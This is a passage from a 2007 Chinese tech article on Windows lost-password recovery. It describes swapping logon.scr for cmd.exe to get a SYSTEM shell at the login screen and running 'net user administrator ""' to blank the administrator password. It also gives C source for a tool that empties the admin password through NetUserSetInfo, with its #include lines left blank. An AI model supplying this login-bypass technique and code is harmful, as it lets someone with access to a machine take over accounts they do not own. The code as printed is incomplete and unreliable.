扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
作者:51CTO.COM 2007年10月18日
关键字:
在本页阅读全文(共2页)
4:我还在一个网站上看到这样一个方法:就是把%systemroot%\system32\logon.scr替换为cmd.exe或者explorer.exe,然后在系统登陆处等待,过一会,系统就会去运行logon.scr这个屏保,因为你替换了这个屏保文件,所以实际上运行的是cmd.exe或者explorer.exe,并且是localsystem权限,于是你可以随便了,最简单的就是在cmd.exe里运行net user administrator "",成功后管理员密码也被清空了,关闭cmd或者explorer就可以用空口令登陆了。其实这种方法和上边的那种思路是一致的。
================= code begin =======================
#include
#include
#include
#include
#include
#pragma comment(lib, "Netapi32.lib")
#define LOF_FILE "c:\\cleanpwd.txt"
DWORD SetUserPwd(char *user, char *pass);
void banner(FILE *fp)
{
if(NULL == fp)return;
fprintf(fp, "Clean administrator's password tool 1a. for lost password.\n");
fprintf(fp, " by bingle@email.com.cn\n");
fprintf(fp, "Website: www.BingleSite.net\n");
}
int main(int argc, char *argv[])
{
banner(stderr);
FILE *fp = fopen(LOF_FILE, "a");
if(fp)
{
fprintf(stderr, "Log in file %s\n", LOF_FILE);
banner(fp);
}
if(!fp) fp = stderr;
char buff[256];
fprintf(fp, "%s: clean administrator's password ", _strtime(buff));
DWORD n = SetUserPwd("administrator", "");
if(NERR_Success == n) fprintf(fp, "ok.\n");
else fprintf(fp, "failed, error:%d\n", n);
fclose(fp);
return -1;
}
DWORD SetUserPwd(char *user, char *pass)
{
wchar_t wuser[PWLEN], wpass[PWLEN];
USER_INFO_1003 ui;
mbstowcs(wuser, user, strlen(user)+1);
mbstowcs(wpass, pass, strlen(pass)+1);
ui.usri1003_password = wpass;
return NetUserSetInfo(NULL, wuser, 1003, (LPBYTE)&ui, NULL);
}
================= code end =======================
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。